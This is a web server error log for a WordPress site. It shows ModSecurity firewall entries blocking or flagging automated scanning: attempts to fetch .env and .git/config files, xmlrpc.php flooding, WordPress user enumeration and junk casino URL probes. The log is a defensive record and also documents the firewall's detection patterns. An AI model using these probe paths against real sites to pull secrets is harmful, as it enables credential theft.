[Sun May 10 15:53:34.971002 2026] [:error] [pid 46331:tid 46363] [client 62.84.185.69:49320] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "agA5fgP02hpYETwsZphExAAAAII"]
[Sun May 10 15:53:37.675662 2026] [:error] [pid 46329:tid 46347] [client 62.84.185.69:4640] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "agA5geFo7Z2I88d0gPJ_5AAAAA4"]
[Sun May 10 15:53:40.127260 2026] [:error] [pid 52634:tid 52646] [client 62.84.185.69:4650] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "agA5hNwp8XoWCwFb54AKLAAAAMg"]
[Sun May 10 15:53:42.798018 2026] [:error] [pid 46329:tid 46345] [client 62.84.185.69:4654] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "agA5huFo7Z2I88d0gPJ_5wAAAAw"]
[Sun May 10 15:53:45.424664 2026] [:error] [pid 14779:tid 14793] [client 62.84.185.69:4656] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "agA5iVXzPaW9Hap8yc8MugAAAUw"]
[Sun May 10 15:53:48.004452 2026] [:error] [pid 46417:tid 46438] [client 62.84.185.69:18232] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "agA5jGInm7mhwgbe48a4_gAAARM"]
[Sun May 10 15:53:50.520131 2026] [:error] [pid 46329:tid 46352] [client 62.84.185.69:18236] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "agA5juFo7Z2I88d0gPJ_6QAAABM"]
[Sun May 10 15:53:53.213840 2026] [:error] [pid 46329:tid 46351] [client 62.84.185.69:18238] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "agA5keFo7Z2I88d0gPJ_6gAAABI"]
[Sun May 10 15:53:55.756737 2026] [:error] [pid 52634:tid 52662] [client 62.84.185.69:18240] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "agA5k9wp8XoWCwFb54AKWAAAANg"]
[Sun May 10 19:32:04.192010 2026] [autoindex:error] [pid 16037:tid 16060] [client 20.5.8.136:63277] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun May 10 19:42:06.856424 2026] [:error] [pid 37030:tid 37041] [client 140.245.32.2:52438] [client 140.245.32.2] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 140.245.32.2, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agBvDprBzfXWwKkDkdaOWQAAAMk"], referer: https://vetstars.com.au/login
[Sun May 10 21:24:48.356857 2026] [:error] [pid 16096:tid 16118] [client 43.130.60.195:47376] [client 43.130.60.195] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "agCHIK8wyxcrT50p9kvcvAAAAFE"]
[Sun May 10 22:21:57.596724 2026] [autoindex:error] [pid 16038:tid 16084] [client 172.93.215.32:52676] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/plugins/elementor/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://vetstars.com.au/
[Sun May 10 22:21:57.929266 2026] [autoindex:error] [pid 16038:tid 16075] [client 172.81.132.106:43144] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/plugins/elementor/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://vetstars.com.au/
[Sun May 10 22:21:59.928925 2026] [autoindex:error] [pid 16038:tid 16079] [client 172.93.215.32:52688] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/uploads/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://vetstars.com.au/wp-content/uploads
[Sun May 10 22:22:00.510667 2026] [autoindex:error] [pid 37030:tid 37041] [client 172.81.132.106:50142] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/uploads/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://vetstars.com.au/wp-content/uploads
[Sun May 10 22:48:10.158656 2026] [:error] [pid 16136:tid 16138] [client 106.54.62.156:50122] [client 106.54.62.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "agCaqkOBGdmCMnPX0McPQAAAAIA"]
[Sun May 10 23:11:06.794033 2026] [:error] [pid 16096:tid 16112] [client 34.106.56.126:41810] [client 34.106.56.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "agCgCq8wyxcrT50p9kvqbAAAAEs"]
[Sun May 10 23:11:14.398602 2026] [:error] [pid 16136:tid 16158] [client 34.106.56.126:60494] [client 34.106.56.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "agCgEkOBGdmCMnPX0McSnwAAAJQ"]
[Mon May 11 00:02:31.261449 2026] [:error] [pid 9842:tid 9854] [client 34.133.207.90:60647] [client 34.133.207.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.133.207.90, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agCsF0KCvgYKKAjiZbJdPwAAAQk"]
[Mon May 11 00:02:34.701634 2026] [:error] [pid 9842:tid 9863] [client 34.133.207.90:60647] [client 34.133.207.90] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "agCsGkKCvgYKKAjiZbJdRgAAARI"]
[Mon May 11 00:02:34.937387 2026] [:error] [pid 9842:tid 9850] [client 34.133.207.90:60647] [client 34.133.207.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.133.207.90, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agCsGkKCvgYKKAjiZbJdRwAAAQU"]
[Mon May 11 00:02:36.796963 2026] [:error] [pid 9842:tid 9865] [client 34.133.207.90:64826] [client 34.133.207.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.133.207.90, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agCsHEKCvgYKKAjiZbJdSAAAARQ"]
[Mon May 11 00:02:38.673547 2026] [:error] [pid 9842:tid 9860] [client 34.133.207.90:50943] [client 34.133.207.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.133.207.90, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agCsHkKCvgYKKAjiZbJdSgAAAQ8"]
[Mon May 11 00:02:40.685470 2026] [:error] [pid 16136:tid 16152] [client 34.133.207.90:63533] [client 34.133.207.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.133.207.90, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agCsIEOBGdmCMnPX0McZtgAAAI4"]
[Mon May 11 00:02:42.870161 2026] [:error] [pid 16136:tid 16162] [client 34.133.207.90:61029] [client 34.133.207.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.133.207.90, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agCsIkOBGdmCMnPX0McZtwAAAJg"]
[Mon May 11 00:02:42.870499 2026] [:error] [pid 16136:tid 16162] [client 34.133.207.90:61029] [client 34.133.207.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.133.207.90, counter = 6"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agCsIkOBGdmCMnPX0McZtwAAAJg"]
[Mon May 11 00:04:07.788936 2026] [:error] [pid 37030:tid 37053] [client 34.76.31.227:50434] [client 34.76.31.227] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "agCsd5rBzfXWwKkDkdbOHAAAANU"]
[Mon May 11 00:11:15.798108 2026] [:error] [pid 37030:tid 37045] [client 35.246.34.25:56832] [client 35.246.34.25] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/admin/.env"] [unique_id "agCuI5rBzfXWwKkDkdbOjwAAAM0"]
[Mon May 11 00:11:15.810543 2026] [:error] [pid 37030:tid 37046] [client 35.246.34.25:56816] [client 35.246.34.25] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.docker"] [unique_id "agCuI5rBzfXWwKkDkdbOkAAAAM4"]
[Mon May 11 00:11:15.959760 2026] [:error] [pid 9842:tid 9866] [client 35.246.34.25:56836] [client 35.246.34.25] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/app/.env.local"] [unique_id "agCuI0KCvgYKKAjiZbJe3wAAARU"]
[Mon May 11 00:11:16.039530 2026] [:error] [pid 9842:tid 9857] [client 35.246.34.25:56852] [client 35.246.34.25] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.local"] [unique_id "agCuJEKCvgYKKAjiZbJe4AAAAQw"]
[Mon May 11 00:11:16.085774 2026] [:error] [pid 16037:tid 16049] [client 35.246.34.25:56868] [client 35.246.34.25] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/api/.env"] [unique_id "agCuJHzjLQfyYTkAdSSQUQAAAAg"]
[Mon May 11 00:11:16.109143 2026] [:error] [pid 16038:tid 16077] [client 35.246.34.25:56882] [client 35.246.34.25] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "agCuJE4hf5Tcsfa2scJsIwAAAYk"]
[Mon May 11 00:11:16.140399 2026] [:error] [pid 16038:tid 16079] [client 35.246.34.25:56890] [client 35.246.34.25] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.dev.local"] [unique_id "agCuJE4hf5Tcsfa2scJsJAAAAYs"]
[Mon May 11 00:11:16.230196 2026] [:error] [pid 16096:tid 16109] [client 35.246.34.25:56904] [client 35.246.34.25] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/app/.env"] [unique_id "agCuJK8wyxcrT50p9kvwWQAAAEg"]
[Mon May 11 00:11:16.251462 2026] [:error] [pid 16038:tid 16075] [client 35.246.34.25:56908] [client 35.246.34.25] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.dev"] [unique_id "agCuJE4hf5Tcsfa2scJsJQAAAYc"]
[Mon May 11 00:11:16.416211 2026] [:error] [pid 16038:tid 16086] [client 35.246.34.25:56916] [client 35.246.34.25] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.development.local"] [unique_id "agCuJE4hf5Tcsfa2scJsJgAAAZI"]
[Mon May 11 00:13:57.879044 2026] [:error] [pid 9842:tid 9859] [client 35.222.75.172:59871] [client 35.222.75.172] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.222.75.172, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agCuxUKCvgYKKAjiZbJfXAAAAQ4"]
[Mon May 11 00:14:01.060815 2026] [:error] [pid 9842:tid 9863] [client 35.222.75.172:59871] [client 35.222.75.172] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "agCuyUKCvgYKKAjiZbJfYwAAARI"]
[Mon May 11 00:14:01.251805 2026] [:error] [pid 9842:tid 9850] [client 35.222.75.172:59871] [client 35.222.75.172] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.222.75.172, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agCuyUKCvgYKKAjiZbJfZAAAAQU"]
[Mon May 11 00:14:03.051872 2026] [:error] [pid 9842:tid 9865] [client 35.222.75.172:53385] [client 35.222.75.172] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.222.75.172, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agCuy0KCvgYKKAjiZbJfZQAAARQ"]
[Mon May 11 00:14:04.913944 2026] [:error] [pid 16037:tid 16048] [client 35.222.75.172:62249] [client 35.222.75.172] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.222.75.172, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agCuzHzjLQfyYTkAdSSQoAAAAAc"]
[Mon May 11 00:14:06.841111 2026] [:error] [pid 9842:tid 9851] [client 35.222.75.172:55659] [client 35.222.75.172] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.222.75.172, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agCuzkKCvgYKKAjiZbJfaQAAAQY"]
[Mon May 11 00:14:08.646113 2026] [:error] [pid 9842:tid 9866] [client 35.222.75.172:59677] [client 35.222.75.172] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.222.75.172, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agCu0EKCvgYKKAjiZbJfbAAAARU"]
[Mon May 11 00:14:08.646285 2026] [:error] [pid 9842:tid 9866] [client 35.222.75.172:59677] [client 35.222.75.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 35.222.75.172, counter = 6"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agCu0EKCvgYKKAjiZbJfbAAAARU"]
[Mon May 11 00:45:36.290488 2026] [:error] [pid 9842:tid 9860] [client 34.116.221.136:54310] [client 34.116.221.136] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "agC2MEKCvgYKKAjiZbJmfQAAAQ8"]
[Mon May 11 01:27:18.278421 2026] [:error] [pid 16038:tid 16068] [client 34.17.42.165:36294] [client 34.17.42.165] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "agC_9k4hf5Tcsfa2scJ39wAAAYA"]
[Mon May 11 03:16:24.661670 2026] [:error] [pid 16037:tid 16060] [client 158.173.67.26:29299] [client 158.173.67.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "agDZiHzjLQfyYTkAdSSwvQAAABM"]
[Mon May 11 03:16:25.171379 2026] [:error] [pid 16096:tid 16122] [client 158.173.67.220:63021] [client 158.173.67.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "agDZia8wyxcrT50p9kv9kgAAAFU"]
[Mon May 11 03:16:25.683127 2026] [:error] [pid 16037:tid 16053] [client 158.173.67.26:25627] [client 158.173.67.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "agDZiXzjLQfyYTkAdSSw-QAAAAw"]
[Mon May 11 03:16:26.197363 2026] [:error] [pid 16037:tid 16044] [client 158.173.67.177:61699] [client 158.173.67.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "agDZinzjLQfyYTkAdSSxDAAAAAM"]
[Mon May 11 05:19:12.737654 2026] [:error] [pid 65260:tid 65305] [client 34.65.134.17:49810] [client 34.65.134.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "agD2UDqbzwIHjP6Y_3FvLQAAAEk"]
[Mon May 11 06:07:23.853219 2026] [:error] [pid 9335:tid 9346] [client 49.51.183.15:33012] [client 49.51.183.15] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "agEBm3mXqumINT8bKREdoAAAAQk"]
[Mon May 11 06:40:43.576738 2026] [:error] [pid 9335:tid 9349] [client 51.68.233.44:54052] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "agEJa3mXqumINT8bKRElOgAAAQw"]
